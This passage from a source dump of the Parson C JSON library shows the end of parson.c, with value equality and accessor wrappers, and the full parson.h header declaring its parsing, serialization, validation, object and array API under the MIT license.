| return 1; 1705 | case JSONObject: 1706 | a_object = json_value_get_object(a); 1707 | b_object = json_value_get_object(b); 1708 | a_count = json_object_get_count(a_object); 1709 | b_count = json_object_get_count(b_object); 1710 | if (a_count != b_count) { 1711 | return 0; 1712 | } 1713 | for (i = 0; i < a_count; i++) { 1714 | key = json_object_get_name(a_object, i); 1715 | if (!json_value_equals(json_object_get_value(a_object, key), 1716 | json_object_get_value(b_object, key))) { 1717 | return 0; 1718 | } 1719 | } 1720 | return 1; 1721 | case JSONString: 1722 | a_string = json_value_get_string(a); 1723 | b_string = json_value_get_string(b); 1724 | return strcmp(a_string, b_string) == 0; 1725 | case JSONBoolean: 1726 | return json_value_get_boolean(a) == json_value_get_boolean(b); 1727 | case JSONNumber: 1728 | return fabs(json_value_get_number(a) - json_value_get_number(b)) < 0.000001; /* EPSILON */ 1729 | case JSONError: 1730 | return 1; 1731 | case JSONNull: 1732 | return 1; 1733 | default: 1734 | return 1; 1735 | } 1736 | } 1737 | 1738 | JSON_Value_Type json_type(const JSON_Value *value) { 1739 | return json_value_get_type(value); 1740 | } 1741 | 1742 | JSON_Object * json_object (const JSON_Value *value) { 1743 | return json_value_get_object(value); 1744 | } 1745 | 1746 | JSON_Array * json_array (const JSON_Value *value) { 1747 | return json_value_get_array(value); 1748 | } 1749 | 1750 | const char * json_string (const JSON_Value *value) { 1751 | return json_value_get_string(value); 1752 | } 1753 | 1754 | double json_number (const JSON_Value *value) { 1755 | return json_value_get_number(value); 1756 | } 1757 | 1758 | int json_boolean(const JSON_Value *value) { 1759 | return json_value_get_boolean(value); 1760 | } 1761 | 1762 | void json_set_allocation_functions(JSON_Malloc_Function malloc_fun, JSON_Free_Function free_fun) { 1763 | parson_malloc = malloc_fun; 1764 | parson_free = free_fun; 1765 | } 1766 | -------------------------------------------------------------------------------- /parson.h: -------------------------------------------------------------------------------- 1 | /* 2 | Parson ( http://kgabis.github.com/parson/ ) 3 | Copyright (c) 2012 - 2016 Krzysztof Gabis 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in 13 | all copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | THE SOFTWARE. 22 | */ 23 | 24 | #ifndef parson_parson_h 25 | #define parson_parson_h 26 | 27 | #ifdef __cplusplus 28 | extern "C" 29 | { 30 | #endif 31 | 32 | #include /* size_t */ 33 | 34 | /* Types and enums */ 35 | typedef struct json_object_t JSON_Object; 36 | typedef struct json_array_t JSON_Array; 37 | typedef struct json_value_t JSON_Value; 38 | 39 | enum json_value_type { 40 | JSONError = -1, 41 | JSONNull = 1, 42 | JSONString = 2, 43 | JSONNumber = 3, 44 | JSONObject = 4, 45 | JSONArray = 5, 46 | JSONBoolean = 6 47 | }; 48 | typedef int JSON_Value_Type; 49 | 50 | enum json_result_t { 51 | JSONSuccess = 0, 52 | JSONFailure = -1 53 | }; 54 | typedef int JSON_Status; 55 | 56 | typedef void * (*JSON_Malloc_Function)(size_t); 57 | typedef void (*JSON_Free_Function)(void *); 58 | 59 | /* Call only once, before calling any other function from parson API. If not called, malloc and free 60 | from stdlib will be used for all allocations */ 61 | void json_set_allocation_functions(JSON_Malloc_Function malloc_fun, JSON_Free_Function free_fun); 62 | 63 | /* Parses first JSON value in a file, returns NULL in case of error */ 64 | JSON_Value * json_parse_file(const char *filename); 65 | 66 | /* Parses first JSON value in a file and ignores comments (/ * * / and //), 67 | returns NULL in case of error */ 68 | JSON_Value * json_parse_file_with_comments(const char *filename); 69 | 70 | /* Parses first JSON value in a string, returns NULL in case of error */ 71 | JSON_Value * json_parse_string(const char *string); 72 | 73 | /* Parses first JSON value in a string and ignores comments (/ * * / and //), 74 | returns NULL in case of error */ 75 | JSON_Value * json_parse_string_with_comments(const char *string); 76 | 77 | /* Serialization */ 78 | size_t json_serialization_size(const JSON_Value *value); /* returns 0 on fail */ 79 | JSON_Status json_serialize_to_buffer(const JSON_Value *value, char *buf, size_t buf_size_in_bytes); 80 | JSON_Status json_serialize_to_file(const JSON_Value *value, const char *filename); 81 | char * json_serialize_to_string(const JSON_Value *value); 82 | 83 | /* Pretty serialization */ 84 | size_t json_serialization_size_pretty(const JSON_Value *value); /* returns 0 on fail */ 85 | JSON_Status json_serialize_to_buffer_pretty(const JSON_Value *value, char *buf, size_t buf_size_in_bytes); 86 | JSON_Status json_serialize_to_file_pretty(const JSON_Value *value, const char *filename); 87 | char * json_serialize_to_string_pretty(const JSON_Value *value); 88 | 89 | void json_free_serialized_string(char *string); /* frees string from json_serialize_to_string and json_serialize_to_string_pretty */ 90 | 91 | /* Comparing */ 92 | int json_value_equals(const JSON_Value *a, const JSON_Value *b); 93 | 94 | /* Validation 95 | This is *NOT* JSON Schema. It validates json by checking if object have identically 96 | named fields with matching types. 97 | For example schema {"name":"", "age":0} will validate 98 | {"name":"Joe", "age":25} and {"name":"Joe", "age":25, "gender":"m"}, 99 | but not {"name":"Joe"} or {"name":"Joe", "age":"Cucumber"}. 100 | In case of arrays, only first value in schema is checked against all values in tested array. 101 | Empty objects ({}) validate all objects, empty arrays ([]) validate all arrays, 102 | null validates values of every type. 103 | */ 104 | JSON_Status json_validate(const JSON_Value *schema, const JSON_Value *value); 105 | 106 | /* 107 | * JSON Object 108 | */ 109 | JSON_Value * json_object_get_value (const JSON_Object *object, const char *name); 110 | const char * json_object_get_string (const JSON_Object *object, const char *name); 111 | JSON_Object * json_object_get_object (const JSON_Object *object, const char *name); 112 | JSON_Array * json_object_get_array (const JSON_Object *object, const char *name); 113 | double json_object_get_number (const JSON_Object *object, const char *name); /* returns 0 on fail */ 114 | int json_object_get_boolean(const JSON_Object *object, const char *name); /* returns -1 on fail */ 115 | 116 | /* dotget functions enable addressing values with dot notation in nested objects, 117 | just like in structs or c++/java/c# objects (e.g. objectA.objectB.value). 118 | Because valid names in JSON can contain dots, some values may be inaccessible 119 | this way. */ 120 | JSON_Value * json_object_dotget_value (const JSON_Object *object, const char *name); 121 | const char * json_object_dotget_string (const JSON_Object *object, const char *name); 122 | JSON_Object * json_object_dotget_object (const JSON_Object *object, const char *name); 123 | JSON_Array * json_object_dotget_array (const JSON_Object *object, const char *name); 124 | double json_object_dotget_number (const JSON_Object *object, const char *name); /* returns 0 on fail */ 125 | int json_object_dotget_boolean(const JSON_Object *object, const char *name); /* returns -1 on fail */ 126 | 127 | /* Functions to get available names */ 128 | size_t json_object_get_count(const JSON_Object *object); 129 | const char * json_object_get_name (const JSON_Object *object, size_t index); 130 | 131 | /* Creates new name-value pair or frees and replaces old value with a new one. 132 | * json_object_set_value does not copy passed value so it shouldn't be freed afterwards. */ 133 | JSON_Status json_object_set_value(JSON_Object *object, const char *name, JSON_Value *value); 134 | JSON_Status json_object_set_string(JSON_Object *object, const char *name, const char *string); 135 | JSON_Status json_object_set_number(JSON_Object *object, const char *name, double number); 136 | JSON_Status json_object_set_boolean(JSON_Object *object, const char *name, int boolean); 137 | JSON_Status json_object_set_null(JSON_Object *object, const char *name); 138 | 139 | /* Works like dotget functions, but creates whole hierarchy if necessary. 140 | * json_object_dotset_value does not copy passed value so it shouldn't be freed afterwards. */ 141 | JSON_Status json_object_dotset_value(JSON_Object *object, const char *name, JSON_Value *value); 142 | JSON_Status json_object_dotset_string(JSON_Object *object, const char *name, const char *string); 143 | JSON_Status json_object_dotset_number(JSON_Object *object, const char *name, double number); 144 | JSON_Status json_object_dotset_boolean(JSON_Object *object, const char *name, int boolean); 145 | JSON_Status json_object_dotset_null(JSON_Object *object, const char *name); 146 | 147 | /* Frees and removes name-value pair */ 148 | JSON_Status json_object_remove(JSON_Object *object, const char *name); 149 | 150 | /* Works like dotget function, but removes name-value pair only on exact match. */ 151 | JSON_Status json_object_dotremove(JSON_Object *object, const char *key); 152 | 153 | /* Removes all name-value pairs in object */ 154 | JSON_Status json_object_clear(JSON_Object *object); 155 | 156 | /* 157 | *JSON Array 158 | */ 159 | JSON_Value * json_array_get_value (const JSON_Array *array, size_t index); 160 | const char * json_array_get_string (const JSON_Array *array, size_t index); 161 | JSON_Object * json_array_get_object (const JSON_Array *array, size_t index); 162 | JSON_Array * json_array_get_array (const JSON_Array *array, size_t index); 163 | double json_array_get_number (const JSON_Array *array, size_t index); /* returns 0 on fail */ 164 | int json_array_get_boolean(const JSON_Array *array, size_t index); /* returns -1 on fail */ 165 | size_t json_array_get_count (const JSON_Array *array); 166 | 167 | /* Frees and removes value at given index, does nothing and returns JSONFailure if index doesn't exist. 168 | * Order of values in array may change during execution. */ 169 | JSON_Status json_array_remove(JSON_Array *array, size_t i); 170 | 171 | /* Frees and removes from array value at given index and replaces it with given one. 172 | * Does nothing and returns JSONFailure if index doesn't exist. 173 | * json_array_replace_value does not copy passed value so it shouldn't be freed afterwards. */ 174 | JSON_Status json_array_replace_value(JSON_Array *array, size_t i, JSON_Value *value); 175 | JSON_Status json_array_replace_string(JSON_Array *array, size_t i, const char* string); 176 | JSON_Status json_array_replace_number(JSON_Array *array, size_t i, double number); 177 | JSON_Status json_array_replace_boolean(JSON_Array *array, size_t i, int boolean); 178 | JSON_Status json_array_replace_null(JSON_Array *array, size_t i); 179 | 180 | /* Frees and removes all values from array */ 181 | JSON_Status json_array_clear(JSON_Array *array); 182 | 183 | /* Appends new value at the end of array. 184 | * json_array_append_value does not copy passed value so it shouldn't be freed afterwards. */ 185 | JSON_Status json_array_append_value(JSON_Array *array, JSON_Value *value); 186 | JSON_Status json_array_append_string(JSON_Array *array, const char *string); 187 | JSON_Status json_array_append_number(JSON_Array *array, double number); 188 | JSON_Status json_array_append_boolean(JSON_Array *array, int boolean); 189 | JSON_Status json_array_append_null(JSON_Array *array); 190 | 191 | /* 192 | *JSON Value 193 | */ 194 | JSON_Value * json_value_init_object (void); 195 | JSON_Value * json_value_init_array (void); 196 | JSON_Value * json_value_init_string (const char *string); /* copies passed string */ 197 | JSON_Value * json_value_init_number (double number); 198 | JSON_Value * json_value_init_boolean(int boolean); 199 | JSON_Value * json_value_init_null (void); 200 | JSON_Value * json_value_deep_copy (const JSON_Value *value); 201 | void json_value_free (JSON_Value *value); 202 | 203 | JSON_Value_Type json_value_get_type (const JSON_Value *value); 204 | JSON_Object * json_value_get_object (const JSON_Value *value); 205 | JSON_Array * json_value_get_array (const JSON_Value *value); 206 | const char * json_value_get_string (const JSON_Value *value); 207 | double json_value_get_number (const JSON_Value *value); 208 | int json_value_get_boolean(const JSON_Value *value); 209 | 210 | /* Same as above, but shorter */ 211 | JSON_Value_Type json_type (const JSON_Value *value); 212 | JSON_Object * json_object (const JSON_Value *value); 213 | JSON_Array * json_array (const JSON_Value *value); 214 | const char * json_string (const JSON_Value *value); 215 | double json_number (const JSON_Value *value); 216 | int json_boolean(const JSON_Value *value); 217 | 218 | #ifdef __cplusplus 219 | } 220 | #endif 221 | 222 | #endif 223 | --------------------------------------------------------------------------------